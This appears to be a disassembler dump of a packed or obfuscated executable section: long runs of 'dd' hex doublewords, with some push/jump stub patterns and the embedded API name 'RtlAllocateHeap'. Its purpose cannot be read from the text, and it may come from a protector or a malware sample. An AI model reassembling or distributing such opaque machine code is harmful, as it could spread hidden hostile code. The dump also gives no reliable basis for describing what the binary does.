		dd 81F5038Fh, 67DC63EBh, 0E781663Bh, 0C381A9B8h, 3B67DC5Fh
		dd 0F4EC18Bh
		dd 0E983AA85h, 8BA4F305h, 8CD167CBh, 7C59FDDDh,	94B13256h
		dd 0E23B3882h, 87B5D664h, 57B121BFh, 6A7C4256h,	7B5A55E1h
		dd 64AF7BC6h, 0F67C78D7h, 0C68207C1h, 0B13A530Dh, 0AEA3DB36h
		dd 5E98356h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	90CDEB17h
		dd 3FD525F7h, 0F3ADFDF5h, 229D9F8Dh, 7ACFB734h,	29B723ACh
		dd 7A1A20ADh, 277975FDh, 0B03987Ch, 0FFA07F17h,	0E98305EDh
		dd 8BA4F305h, 0E3BD8DDBh, 8D0AEAF2h, 0EB791A8Dh, 6644B80Ah
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	14E960F6h
		dd 0CE000000h, 0B6773258h, 0E521F919h, 0ED8A5031h, 72BE330Fh
		dd 81D0A2F4h, 0C292B0E2h, 11E96144h, 0DA000000h, 85D9F132h
		dd 4AEADA84h, 4E443A78h, 454D8FF0h, 895B5053h, 0E9605BD8h
		dd 8, 7DEA3FD0h, 593D6004h, 0AE9h, 703FB600h, 0D8C542E4h
		dd 611DCCA2h, 2569BD83h, 75000AE3h, 8DBD8309h, 0AE319h
		dd 53501974h, 11B8C08Bh, 89000004h, 0E32F1985h,	2C9D8D0Ah
		dd 0FF0AE5DEh, 83585BD3h, 0E3198DBDh, 1774000Ah, 11B85350h
		dd 89000004h, 0E32F1985h, 0CD9D8D0Ah, 0FF0AE5DAh, 60585BD3h
		dd 6E9E38Ah, 0C4000000h, 1FDF3999h, 0FE9617Fh, 30000000h
		dd 2BB7659Eh, 72508963h, 957ACA06h, 89524EBDh, 48152C2h
		dd 0EE13A124h, 0A12D583Ah, 5A3AEE13h, 12E9h, 0A6FA1C00h
		dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0F86DC0D7h, 0CE8h
		dd 0C040F600h, 29703A7Ch, 1B891C8Ah, 61E3810Bh,	5F3B85B3h
		dd 4800Fh, 0BB660000h, 0C781A4C0h, 5B34h, 1D8D0Fh, 12E80000h
		dd 0F3000000h, 0F6363B73h, 31C0EB71h, 0D0037725h, 1AE9261Fh
		dd 8D79BB17h, 33596B5Ch, 0FFCA8BC0h, 0E95A3834h, 6, 9B055134h
		dd 0EA8189F5h, 40F23827h, 0FE8h, 0CD1E2600h, 1EB2130Fh
		dd 0E46E1C21h, 2E1D1370h, 43CB8166h, 0EA8159BEh, 3FF1C987h
		dd 816AC580h, 52412FC2h, 0D98B570Bh, 0E981525Bh, 56F7006Ah
		dd 8107048Fh, 62B964F6h, 4E88355h, 60E18166h, 84F881D8h
		dd 0FFFFFA5h, 0FFFF9A85h, 7E9FFh, 7A80000h, 0B5F0F4D8h
		dd 17E968h, 7A3E0000h, 30F0h, 4	dup(0)
		dd 506E900h, 0AF680000h, 0E90AEB7Eh, 0FFF80229h, 0EB7F3D68h
		dd 21FE90Ah, 0B168FFF8h, 0E90AEB80h, 0FFF80215h, 0B367A0EBh
		dd 3BEF285Eh, 8773B4C6h, 2F83142h, 8C7EB9CFh, 43756F63h
		dd 0C8FFD288h, 51665B0Fh, 0DDEF2298h, 0DF9BA862h, 0F42E638Ch
		dd 4F5F3A3Bh, 66C40749h, 0AB90B9E2h, 0B66546DFh, 0CD979A43h
		dd 0DF391E76h, 0F932463Bh, 0AF681C71h, 9474A0ABh, 8EAC9A5Eh
		dd 0FBF2E1DDh, 4BCFBC3Ch, 0FBF73360h, 56913B3Bh, 6CAFD1B4h
		dd 90C49DEEh, 0AFB6FCCBh, 1365C946h, 1137BBA4h,	4D954C94h
		dd 3429Ch, 579C0800h, 8771EA91h, 8157BBB0h, 0DF6DB1DAh
		dd 24978446h, 9C6A6EE8h, 27B1DA5Eh, 0C056CA9Ch,	0B828D80Bh
		dd 0B828E1E5h, 658F4B5Ch, 5ADE3CFCh, 0FC74E811h, 3058BD3Bh
		dd 35E853F7h, 18DCCFDBh, 97CF0347h, 0B2945446h,	52F4C388h
		dd 0C78B5427h, 0B61E4D8Dh, 89457619h, 0EEEA78E2h, 0C589D218h
		dd 183F971Eh, 1AED784h,	94874F59h, 0BFBB60B8h, 0F932463Bh
		dd 430EBA9Fh, 0EC5FFB3Ch, 7C0C4139h, 100E5983h,	0D1750164h
		dd 3303Fh, 1AD3E600h, 0E25D6DA0h, 66A1D528h, 0EB2C51B4h
		dd 71AADA3Fh, 7C6EB9h, 8ACFBB7Ch, 754802FBh, 0FADF8B44h
		dd 0AEA515CEh, 2D567F2Ch, 722F3BF4h, 0A4A2A634h, 0BF790286h
		dd 395CF23Ch, 57A8FBD5h, 3E3CF4DCh, 0C488ED4Dh,	1F935703h
		dd 0F442234Ch, 0C711FA3Bh, 0C9FFA2D2h, 0DA3F0C0Eh, 998174ADh
		dd 0F11A41C5h, 0F53BF441h, 380307C0h, 0CCDF39E2h, 44F6060Ah
		dd 365908B0h, 0B3E655F5h, 91D6A4E3h, 0EBD58838h, 0FEF181B2h
		dd 0A2EB8DA1h, 74000002h, 0FBDE8C45h, 63A614D3h, 0EF22985Fh
		dd 68AD1DDAh, 0F837E324h, 2DEE9E0Ah, 0B475187Dh, 3DFA83C6h
		dd 8740084Dh, 0F1BA30D3h, 3BF42BC8h, 0A6AAE09Dh, 0D586A4A2h
		dd 3CF4EF84h, 0EA8D82E9h, 0F652EC44h, 0F4337CA5h, 0F7AA513Bh
		dd 68950604h, 0E63BF433h, 2AD3F579h, 5E4D9DACh,	1CBh, 8135A84Eh
		dd 9D2F0A46h, 93468334h, 0AD661277h, 2254098Dh,	0AB6992E5h
		dd 4F3C46DFh, 0ABAF8505h, 0AB58812Ah, 7E2D46DFh, 0A8FCAF8Bh
		dd 173CFCC7h, 4F8C4572h, 9494C03Fh, 8B8F4871h, 5E4DCD80h
		dd 3BFC8631h, 52378BAFh, 9C6FEB24h, 0FC866089h,	0A46353Bh
		dd 0AC596FF3h, 0A44D95F1h, 34h,	87D4A8D0h, 46DFAB5Eh, 0CE084437h
		dd 6D3E3C0Ah, 3CFC94BDh, 0EB6FEB90h, 921B4417h,	9F23BFCh
		dd 91AFDCCFh, 302D3BFCh, 0C9ED9AAEh, 0C2E74D95h, 97000000h
		dd 42C80349h, 15A5EB8Eh, 0DFAB1D46h, 580BF046h,	0B06B1D7Ch
		dd 0DC8537AAh, 9BBF72AFh, 0E1599226h, 88B13E4Dh, 6A56B778h
		dd 6B1AFD2Eh, 364246DFh, 75187DFDh, 6BA596B4h, 1F305B9Fh
		dd 7F1E925Fh, 0FBFF7953h, 22A92D0Dh, 0C18B9214h, 0E0CDD306h
		dd 14131440h, 0F53CFA7Ch, 14B9E890h, 11C437D3h,	0EB4F0209h
		dd 2505C6F6h, 3D478456h, 1CAA0975h, 0A4247023h,	0A09C5F61h
		dd 14C28DD9h, 2E3ADC70h, 0F8000001h, 6FA218D1h,	0D72AE05Fh
		dd 53B664A3h, 0DC31E92Eh, 6CBB6FA8h, 0B972027Eh, 0F98CC1h
		dd 8946774Ah, 13CCFCD1h, 7D2EACA7h, 3BF42B54h, 493E4C29h
		dd 366C407h, 0EC5CB87Fh, 7228E3A9h, 0C803492Ah,	610A8E42h
		dd 46DFAB38h, 0C8528F3Ch, 0A3D23743h, 2252B76Ah, 3E4AAFE9h
		dd 1BDF15C5h, 60D314BBh, 0AFC246DAh, 0D13A201Fh, 0DFAB95BEh
		dd 49836846h, 0FCDD0356h, 0B9816A3Ch, 5D4D7625h, 7B203BFCh
		dd 0C145D911h, 0FC5D719Ah, 7D57443Bh, 0FBAF681Ch, 0B8710267h
		dd 3C6FA992h, 3BFC5D0Fh, 0B872ADDFh, 52F83345h,	0FA0FED9Eh
		dd 5E55D362h, 7BC472h, 0A6D00000h, 286A4A2h, 78E25D6Fh
		dd 0AB8EB7E4h, 0B46746DFh, 3F9497C1h, 2E3CF4F0h, 7219DD7Dh
		dd 62A3EC4Eh, 221AB59Bh, 4F1F1A4Dh, 29534692h, 0B3D93CEEh
		dd 15C9D278h, 0C901DA2Fh, 0EFC24883h, 8EFB1FD8h, 468BED71h
		dd 0B7C52589h, 14B8E7Ch, 5C6144C6h, 6D1A7F9Bh, 893396B4h
		dd 20E1CC4Eh, 84BDFABEh, 4780C8DAh, 0A60ABE93h,	0EEEDCCF5h
		dd 7FAA115h, 36D03h, 0C8390000h, 0C90249E0h, 0E35C6C41h
		dd 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h,	0D415A61Bh
		dd 0E82F5336h, 807F0F62h, 8953B99Ah, 4C381E3h, 83000000h
		dd 1C8704EBh, 24248B24h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 6968242Ch, 8900007Eh, 5753241Ch, 770360BFh
		dd 431ABB6Ch, 0FB29BD81h, 0BD5CBD5Fh, 0DD295BF5h, 41E5685Bh
		dd 24890000h, 24048324h, 0EC815B04h, 4,	0BA241489h, 8
		dd 2A89DA01h, 2434FF5Ah, 4C4835Bh, 5D2434FFh, 0E904C483h
		dd 0FFF7FD39h, 87EA09AFh, 3173D178h, 0C5D38AF6h, 0EB8204B8h
		dd 0FFC5030Ah, 4D2063E0h, 43E0624Eh, 69D2CD77h,	0B52BAB3Bh
		dd 0A02D774Fh, 0D6073937h, 0E591D31h, 217C0C0Bh, 6D00D6Fh
		dd 0EDE92Bh, 66600000h,	4A8D88Ch, 0DF840Fh, 0B58B0000h
		dd 0AE31451h, 0F00FE83h, 2285h,	0F185C600h, 450AE31Ch
		dd 72696968h, 45B5FF8Eh, 8D0AE331h, 0E6ACF385h,	89D0FF0Ah
		dd 0E3109985h, 80F08B0Ah, 850FE93Eh, 31h, 0BBA8858Dh, 0D0FF0AE8h
		dd 21A9BD8Bh, 0C7810AE3h, 1184h, 1451B58Bh, 0F7870AE3h
		dd 8B9h, 8BA4F300h, 0E31451B5h,	8C858D0Ah, 0FF0AE75Ah
		dd 55B58BD0h, 830AE31Eh, 850F00FEh, 22h, 1CF185C6h, 68540AE3h
		dd 0FF4EBEF4h, 3145B5FFh, 858D0AE3h, 0AE6ACF3h,	8589D0FFh
		dd 0AE31E55h, 3E80F08Bh, 3A850FE9h, 8B000000h, 0E31E55B5h
		dd 0A8858D0Ah, 0FF0AE8BBh, 0A9BD8BD0h, 810AE321h, 1184C7h
		dd 8C78300h, 1E55B58Bh,	0F7870AE3h, 8B9h, 8BA4F300h, 0E31E55B5h
		dd 8C858D0Ah, 0FF0AE75Ah, 8DC361D0h, 0EB82BC85h, 0E585890Ah
		dd 8D0AE31Eh, 0EB84578Dh, 89F7B20Ah, 0E314798Dh, 1810F0Ah
		dd 0F5000000h, 6C985C7h, 6B740AE3h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 97AE08C3h
		dd 0F5D0F9B6h, 0C734F330h, 0E3006985h, 0Ah, 0C99D2900h
		dd 0FF0AE330h, 0E31B71B5h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0ABE1AA00h
		dd 51E3E5ABh, 0ADB5299Ah, 0FF0AE319h, 0E326B595h, 0CE90Ah
		dd 0C6560000h, 5CBDC32Ch, 0B159332h, 6AC0DDh, 1CD195FFh
		dd 0C08B0AE3h, 1EA658EBh, 0D917DE4Dh, 6D2316B3h, 4D00715Dh
		dd 0CBBB17A0h, 328B05C1h, 37F00658h, 8007207Fh,	784BC352h
		dd 1994DCD5h, 9B38527Fh, 0D65A81FEh, 0DD795C72h, 8FF3876h
		dd 0E20D3D2Ch, 0BC2AA296h, 436640ACh, 6E66B54Eh, 0BA19A9CEh
		dd 72CA8E59h, 0CF78F528h, 42F945Ah, 37E9698Ah, 53000000h
		dd 52651406h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h
		dd 7 dup(0)
		dd 0F5E90000h, 68000010h, 0AEB86CEh, 0F7FAB8E9h, 87B268FFh
		dd 0AEE90AEBh, 68FFF7FAh, 0AEB8A3Dh, 0F7FAA4E9h, 8B6D68FFh
		dd 9AE90AEBh, 68FFF7FAh, 0AEB8E6Fh, 0F7FA90E9h,	8F6068FFh
		dd 86E90AEBh, 68FFF7FAh, 0AEB8F9Fh, 0F7FA7CE9h,	907D68FFh
		dd 72E90AEBh, 68FFF7FAh, 0AEB913Ch, 0F7FA68E9h,	91AC68FFh
		dd 5EE90AEBh, 68FFF7FAh, 0AEB932Eh, 0F7FA54E9h,	940168FFh
		dd 4AE90AEBh, 24FFF7FAh, 0ABEE5C95h, 137624E3h,	9FF2A86Fh
		dd 187D2DEAh, 0A8C7B374h, 0FD3E4E3Ah, 4485C80Dh, 0CD0AB396h
		dd 5790381Dh, 0C1EA60E3h, 3BF42698h, 497AB06Dh,	6F42C803h
		dd 578E25Dh, 35A53B74h,	9A218768h, 8C3F5F02h, 590CFF82h
		dd 975BF0B1h, 0D08A4577h, 0AAD3981Ch, 8346DEEAh, 2B5DBC98h
		dd 76945566h, 2518D285h, 0DBBE5C97h, 0AE8476B1h, 1A9E5CAAh
		dd 1DDAE386h, 0D2FB0EFDh, 0AB46DEEAh, 3F9394C0h, 2E3CFC08h
		dd 78EFD7Dh, 5C502AD7h,	485387D1h, 3BFC381Bh, 2602AC51h
		dd 4D95A799h, 3493h, 0A2A60300h, 25D586A4h, 83CFC94h, 5306C1F5h
		dd 285E33B7h, 0B4E06BEFh, 0FC924673h, 0D79B843Bh, 95C974F1h
		dd 0A5F64A4Dh, 3BFC867Ch, 0DC6EAA51h, 0DCh, 0C80349C8h
		dd 9E596F42h, 6A93D85Ch, 4346DFABh, 0F9DC7C58h,	9FF218D3h
		dd 0B40832EDh, 0DFAABEE7h, 0B1E49746h, 3D5C4755h, 0A424702Ch
		dd 63DCED80h, 8414F629h, 3E4A46DFh, 883015C5h, 4139CB4Fh
		dd 60EA2D51h, 8E02289Bh, 0F862A5EBh, 4EE63913h,	0D13CFC99h
		dd 4DCD0ABCh, 62F7CFEh,	0DF3BFCA1h, 0D3B8E02Ch,	0AD0DCD67h
		dd 0CE6CDF18h, 1846B59Dh, 47E38832h, 91599222h,	0C612CFFCh
		dd 0BE790F42h, 0E4B52242h, 49EF0309h, 0E60h, 4F3BF487h
		dd 0D7837C0Ah, 5307C0F2h, 0DE8C4D7Eh, 5812D5FBh, 9F219B4Fh
		dd 0E4ABEE5Ch, 65127723h, 0F19BFEACh, 0BCF4436h, 0F4253760h
		dd 1B130E3Bh, 0E4440749h, 45D93914h, 1F782218h,	60D34658h
		dd 0F098FDADh, 17483337h, 1CE94A34h, 0ACFC4C88h, 86A4A2A6h
		dd 0FC9425D5h, 0E763083Ch, 0FC9287B4h, 9658C53Bh, 95C935B2h
		dd 0B43F4Dh, 496F0000h,	6F42C803h, 2F7C9E59h, 46DFA74Dh
		dd 0EE4C8735h, 0D400C78Bh, 0B06B1174h, 2620D8AAh, 1C5F6104h
		dd 8360D22Dh, 0BF5B0EE5h, 0BF780F4Ch, 9464B09Bh, 0FBE62FC7h
		dd 3535E63Ch, 61E92E50h, 16CABE9Ah, 438D4A73h, 5C7C1B9h
		dd 407158FEh, 0AAF1792Ch, 32181331h, 5E3337E4h,	284DED2Eh
		dd 5078A166h, 4C887397h, 34F799FCh, 0E4C3A2C8h,	0A55BFF09h
		dd 0D7Ch, 0A317D0FBh, 2B9F586Eh, 0B763A4D6h, 32E82152h
		dd 0BC6EA9DFh, 73057F73h, 0F88FC2B8h, 41764B3Fh, 0CDFFD288h
		dd 2FAB5812h, 0F424537Ch, 3F4F2A3Bh, 66C40749h,	51BB7C03h
		dd 2BE494E9h, 3492F7Fh,	5D6F42C8h, 972558E2h, 34DBE5Ch
		dd 0AB477487h, 651746DFh, 0AB658EDDh, 440946DFh, 0D1847783h
		dd 1A41C519h, 46DFAAF1h, 9CFDD7C4h, 0B21733ECh,	0F24DCD06h
		dd 0EB90915Dh, 88743831h, 0F131FDBFh, 8C2085F8h, 8C3C1D77h
		dd 0DB64E753h, 0D14776D1h, 0D5h, 0A4A2A6BDh, 0E0790286h
		dd 3BF2DF6Bh, 1A78A1CAh, 5E4D46DFh, 867EA1EBh, 193CFC27h
		dd 96C3E872h, 0D43BFC07h, 0F586872Bh, 0BA6F9738h, 6614753Fh
		dd 33CC6FA9h, 394D95C1h, 99h, 0AB537F65h, 0F4F446DFh, 27542812h
		dd 99323BFFh, 93BCEF9Dh, 6A46DF38h, 3F6CCE81h, 46DF3816h
		dd 0CFD03CEFh, 3CFC1B83h, 9043F11Ah, 1BEE96AEh,	0B3E61D23h
		dd 0B669B436h, 0AAFF81C4h, 0D427231Ch, 0E165F961h, 1C153E6Dh
		dd 3E83BFCh, 0FC1BC7F0h, 0A3ED9E3Bh, 83A7A159h,	785605F8h
		dd 8FC93614h, 6F08204Bh, 0BADF3219h, 0FD36420Dh, 483B000Ah
		dd 0D10EBF92h, 49BFBB49h, 934EBAE1h, 7A213CFCh,	9268E80h
		dd 97CA0000h, 0CD0AB0E1h, 0E99DF01Ah, 6CDF2C2Eh, 74A09F2Fh
		dd 8035A830h, 1C78C347h, 0A3016D2h, 0B97AC5B6h,	85D5E2ADh
		dd 0EBCDF6A5h, 0FBA046DEh, 0B528E91h, 0C84D3CFCh, 89914485h
		dd 0FC0EF522h, 18D3F93Bh, 30EF9FF2h, 0E763A4EBh, 0ABCD91AEh
		dd 0C99F43FCh, 4D95483Ch, 0D34h, 527F6000h, 8C46DFABh
		dd 0FFFC2E8Ch, 0A2A618FFh, 994C8532h, 94CA0A51h, 0DECD3CFCh
		dd 95426F3Ch, 87B83BFCh, 0C2700DDBh, 0E784D95h,	24000005h
		dd 0C880689Ch, 0E478FC7Eh, 1C3EF981h, 0AAB3DC2Fh, 778A46DFh
		dd 0B7848641h, 0DB9788C4h, 623CFC8Fh, 60147D0Fh, 0E558A3A7h
		dd 7549665h, 3BFC8EDEh,	9088C4B7h, 341649EBh, 0C593379Fh
		dd 74270305h, 99D69258h, 31863E7h, 56523E17h, 2CDB0417h
		dd 5FB29D1Ah, 9D6EEC2Bh, 51BAEE2Ah, 0B4F795B8h,	96B467D4h
		dd 2A1CDCh, 7AE05B6Dh, 0E8B34791h, 93353F2Ah, 0DDB0BA61h
		dd 2F7803AFh, 0F07662CCh, 0E1BFE83Bh, 0E596A3BBh, 60E47832h
		dd 0BBE2123Bh, 2477EBA3h, 0A3BBE1FBh, 1A7629D2h, 16528D3Fh
		dd 0AD01A8B2h, 0F1D177ABh, 7400000Ah, 0FBDE8C45h, 63A614D3h
		dd 0EF22985Fh, 68AD1DDAh, 0F837E324h, 2DEE9E0Ah, 0B475187Dh
		dd 3DFA83C6h, 8740084Dh, 0F1BA30D3h, 3BF420C8h,	49AAE09Dh
		dd 8042C803h, 78FC7EC8h, 0AB8EB7E4h, 0B46746DFh, 0BABB4758h
		dd 0DE523CFCh, 0FC78648Dh, 99C2E93Bh, 6C3BFC78h, 0CD806BBFh
		dd 8643086Dh, 0FC8F1D4h, 7877A00Bh, 0ED9E3BFCh,	922703C0h
		dd 60438D40h, 3BFC1333h, 9FA9B1DAh, 623A4F48h, 126A93D8h
		dd 58433BFCh, 10F6F27Ch, 0CA05B72Ah, 71214A8Eh,	44321933h
		dd 8D40BBC1h, 0F2F11E8Dh, 0CCFD46DEh, 86F39393h, 4A3D9564h
		dd 64DFEDC0h, 823415E6h, 0C57AC545h, 0B7A81F19h, 36473A2Bh
		dd 0AEEA51F9h, 762AF08Dh, 2AF847h, 0A6A40000h, 5F88D3A2h
		dd 3646DFABh, 0D4A89245h, 0DFAB5E87h, 8443746h,	60294CC0h
		dd 7E3A6DA7h, 113CFC9Bh, 2D4EE06Ah, 5E000000h, 0C40523A8h
		dd 0B9DB0498h, 73D5955Fh, 8E9884F7h, 7DEEAA4Dh,	0ABAF681Ch
		dd 0B7E474A0h, 3CFBCA0Bh, 0DF18AFE2h, 0F730463Bh, 0E1C95104h
		dd 9CC80349h, 9DDE032h,	0C1550B2Fh, 24000009h, 0ABEE5C95h
		dd 137624E3h, 9FF2A86Fh, 187D2DEAh, 0A8C7B374h,	0FD3E4E3Ah
		dd 4485C80Dh, 0CD0AB396h, 5790381Dh, 0C1EA60E3h, 3BF42098h
		dd 0A87AB06Dh, 0C04A8535h, 0AD6E1E7Bh, 67E19963h, 5F3C4FC3h
		dd 0B3892DBh, 500C1F79h, 4F3CFC7Eh, 0B1DBBE5Ch,	0CB778476h
		dd 7C1CB142h, 17DD8D81h, 9E596353h, 0AB8F7Ch, 193755D7h
		dd 200AFDAEh, 55D6FFACh, 0FCAF1937h, 56042D7Eh,	32D91937h
		dd 9D4912E6h, 700F5438h, 9C2A8F8Bh, 1DF487A3h, 0EF7D5076h
		dd 0CE64E430h, 6D3E3C0Ah, 15B0E8BDh, 0A6CF9C90h, 7F1936E6h
		dd 0BD31D98Ch, 0D377B0D8h, 0CEFB2C68h, 0C1936E5h, 0CC794F13h
		dd 0F26ADE11h, 0E8DC2389h, 13F862A7h, 0CEC74320h, 14C4082h
		dd 0A82C0000h, 0AB5E87D4h, 333746DFh, 0DFAB3F68h, 0B2651646h
		dd 6ADC9C66h, 0BEDF9BC0h, 0CDBE3CFCh, 0A4D4894Dh, 80C8216Bh
		dd 0FC8EE347h, 0E02C1F3Bh, 0CA972518h, 899144BDh, 2CED90F5h
		dd 8313BFE0h, 0B1DB1CB1h, 0CFF1D476h, 8E870E0Ch, 79B2C224h
		dd 5AB76AD1h, 0A3E939A5h, 2D5FB268h, 601548F2h,	7C58A3A7h
		dd 9D23CFDCh, 13E7F9ECh, 89914A7Eh, 33BF5682h, 0BC6EA9D3h
		dd 52F83359h, 0CF6BDF90h, 5561AAAh, 3BFC7BDCh, 0F317CAB1h
		dd 5F0CCC08h, 3BFC7C56h, 33EC9AFFh, 60DAC1D9h, 0FA2348CCh
		dd 0E23BFC7Bh, 0AF119D2h, 7C10BF0h, 3665C543h, 321999EAh
		dd 11749685h, 87FAB06Bh, 0F51E4DF5h, 0C846DF9Dh, 15C803B5h
		dd 5724B8A2h, 503E0B83h, 0EC3F1920h, 46DF22CBh,	4CCE09B3h
		dd 62E82369h, 3048EA23h, 2E44EC7h, 0BECDBD76h, 0DA8B2C33h
		dd 75F55914h, 6EA2BB06h, 2F7CC066h, 0D28AE606h,	1F792CDFh
		dd 0E92256ABh, 4269ED61h, 0D28AE619h, 0A8DA3FECh, 8902256Fh
		dd 25544480h, 18A042ECh, 62166BDFh, 2723A1A9h, 6751BEA1h
		dd 87749651h, 0BA728754h, 203863C7h, 274AE941h,	60CFF8A3h
		dd 0F5A64DEFh, 2E9C8F9Bh, 3D28h, 0A2A67C00h, 19D586A4h
		dd 743CFC9Bh, 982E8387h, 0A3D485C9h, 0AC0B366h,	0C80FB3D6h
		dd 0AC9FF942h, 0CF8020B4h, 0ED9AFF7Bh, 0EB251634h, 950B3C6Fh
		dd 0AFE23BFCh, 0D13A201Fh, 4F02C788h, 3499A8Ch,	18D012C8h
		dd 0D75F0C2Eh, 0AE3CFC91h, 73187DFDh, 0F881C4B6h, 91491B3Fh
		dd 5CE8B3B7h, 333219A0h, 0EC6EAFDEh, 0FDAEAC1Fh, 46DF71D0h
		dd 0A9917773h, 5908B0D5h, 0C704F730h, 65D674B3h, 9348F82Bh
		dd 9AFF3CFCh, 251634EDh, 6ECCBFEBh, 4983440Bh, 7482DA1h
		dd 689596C2h, 0E63BFC93h, 729BC044h, 4B3BFC93h,	15D974A0h
		dd 95C88A33h, 0A7D5884Dh, 0A29D2F6Ch, 13D476h, 0A6C00000h
		dd 0D586A4A2h, 3CFC9B19h, 0ED838774h, 0Eh, 0A4A2A6B9h
		dd 8D29D586h, 17043CFCh, 349ABF3h, 0E0309CC8h, 0D2109DDh
		dd 6BF6Bh, 5A932600h, 221DADE0h, 0A6611568h, 2BEC91F4h
		dd 0B16A1A7Fh, 403CAEF9h, 0CA0FFB3Ch, 0B58842BBh, 3A1FCB04h
		dd 6EE5558Eh, 1D96BFECh, 0B26F3BF4h, 91599C74h,	77CB6FD9h
		dd 0AB7FA8F3h, 0A55646DFh, 0AAADD685h, 9B8046DFh, 8FB26EB1h
		dd 583D3CFCh, 7469F136h, 0FDD78A47h, 297AFEADh,	79B734C0h
		dd 3D013645h, 0F7452F8h, 0C93F3BC5h, 95BEED61h,	687E3A5Bh
		dd 21FD5083h, 93119E30h, 583DB1B9h, 9569F136h, 39B89DC6h
		dd 0D88B707Eh, 0C10BCCF3h, 56C876DEh, 3822C974h, 81D8AEAAh
		dd 98583CD4h, 0CB905A0Dh, 7AB5F807h, 30559586h,	0F6EB4F88h
		dd 410505C6h, 3A2AF11Ah, 64D7C47Eh, 189C5028h, 3A2B2A53h
		dd 4B84327Eh, 7D2E7CCFh, 2E922613h, 3A2B547Dh, 519A0E7Eh
		dd 0A14C8E4Fh, 0C7592249h, 0A4AAE958h, 0F0C23EF1h, 51D282E7h
		dd 5CE1BBDh, 62290000h,	0EE9CF1A9h, 72047931h, 0FF80C5B5h
		dd 7B0D403Ah, 2DDDCA80h, 10CA0DB3h, 99518A3Dh, 60DA17A4h
		dd 0F6A49F2Dh, 0A5CE9D5Dh, 783BF41Ch, 3498D9Dh,	0E0149CC8h
		dd 0E90D09DDh, 58F37h, 6AA3D600h, 0F22D5DB0h, 76B1C538h
		dd 0FB3C4184h, 41BACA0Fh, 706C9E89h, 0FADF8B4Ch, 655812CBh
		dd 0EA2F9B54h, 9EB565DEh, 1C668FDCh, 423F3BF4h,	0C8034944h
		dd 807F0F62h, 0B367B19Ah, 0C7F0BB3Fh, 9E46DFAAh, 221FACEDh
		dd 9A6C6CF6h, 271B0B50h, 89723CF5h, 0F15713D1h,	44CE2249h
		dd 0FAA13211h, 51E4B50h, 0A35C46D7h, 729C293Fh,	0A294477Eh
		dd 0
		dd 0DA9E569Ch, 174ACE6Ch, 2B672867h, 0CFDC92BAh, 33EF301Ch
		dd 6A3CFBDBh, 0B3C4B981h, 3315A01h, 17043BFCh, 0ACD586A4h
		dd 813BFC02h, 0EBBCBE9Ah, 74F4F0C4h, 81A99F5Bh,	1803BEDAh
		dd 60EA9177h, 0DA60E6E2h, 9B9A3546h, 2AF6F4Dh, 1B17D5D6h
		dd 85766DF3h, 7FB8C0A5h, 5F02B68Bh, 0C13BEE29h,	0CFBF67D7h
		dd 0B1781E32h, 34000004h, 0BB9E4C85h, 2366D413h, 0AFE2589Fh
		dd 286DDD1Ah, 0B8F7A364h, 0ED2E5E4Ah, 74B5D83Dh, 0FD3A4386h
		dd 4780C80Dh, 0B1FA7093h, 3BF41B88h, 8A6AA05Dh,	0BAh, 8135A822h
		dd 8C00A46h, 0F3B83C3Eh, 46DFAACAh, 2972F8A3h, 46DFAB00h
		dd 6EEA26D5h, 0F527BD3Dh, 8FAB503Ch, 0B565DEEAh, 6BEF2850h
		dd 0C367E199h, 110E2C98h, 82A8D332h, 6ECD1F11h,	653B6437h
		dd 691246D7h, 0CB4E5AB6h, 3F683383h, 1646D765h,	7BFFB265h
		dd 9D0E5010h, 62AEB6FBh, 174932B6h, 0EE2B5C8Dh,	0DD306ABBh
		dd 977169F3h, 4B8C3E53h, 0D8107CCFh, 0F4408F93h, 711B7E3Ch
		dd 8D99C3B6h, 7414C98Dh, 3F23ED0h, 46750000h, 0D2F8DD8Dh
		dd 5E60A515h, 0DBEC2199h, 2769AC1Eh, 9F936E4h, 7C2EE99Fh
		dd 0C5B57619h, 4C3EFB80h, 0D2884309h, 0C9F2B931h, 9C3BF419h
		dd 567FA9E1h, 2846DFABh, 46DFAAFBh, 0B4DD8E02h,	8946DFAAh
		dd 83874074h, 418BC5B8h, 0A7602989h, 380576F4h,	0C488EF9Fh
		dd 7A212963h, 3CF42B8Ah, 0B91C3EEDh, 6EECD813h,	6314C958h
		dd 38229CFh, 0D6E50000h, 2268AD1Dh, 0AED035E5h,	2B5CB169h
		dd 0B7D93CEEh, 79698674h, 0CCBE790Fh, 5505C689h, 0DC8E4B70h
		dd 0A218D3F9h, 598229A1h, 2C3BF41Ah, 23A83971h,	5F184185h
		dd 9386D2F3h, 0A62C2EE9h, 0E386A4A2h, 6C18BDAh,	0AAF17953h
		dd 3CFBED66h, 83884229h, 0CADF5A9Fh, 97EB4D3Eh,	0D783083Eh
		dd 19E268A7h, 790F6AA6h, 9468CCBEh, 0E0DA9EC7h,	488477CAh
		dd 0DD1C5F61h, 332BD064h, 7DF713C6h, 0CEDE8C82h, 42C80349h
		dd 28E25D6Fh, 7B734734h, 616708AEh, 0DB2D2D37h,	6BF84C1Fh
		dd 0E4973CFCh, 32083566h, 0D9463BFCh, 0AD8A3315h, 34884D95h
		dd 0FC2A3E67h, 0C5F2173Bh, 4A3D0E0Ch, 48FC0Eh, 197C0000h
		dd 0E5B6B477h, 3BFC29BCh, 7EAEEA91h, 8032A2A6h,	7B4520C7h
		dd 86791DB6h, 66C4B784h, 50BC7B03h, 0A123D398h,	610A3CFBh
		dd 0ED1645D9h, 0C03BFBC0h, 5259F1DBh, 3BFBC125h, 1038BA5Bh
		dd 4D953A97h, 0C09Dh, 3490900h,	596F42C8h, 0D3864308h
		dd 0ED265237h, 1140086Dh, 266BB06Bh, 0DF9279E1h, 0A73E206Bh
		dd 0B6C546DFh, 0F8F07439h, 7E5BB589h, 0D5A9914Ah, 0DECC5D86h
		dd 6F3C3046h, 46DECC46h, 5FB96C1Fh, 29E296EBh, 0A1A7A321h
		dd 5F600599h, 496DBE9Ah, 43CFBDFh, 0EBED317h, 92FE4DCDh
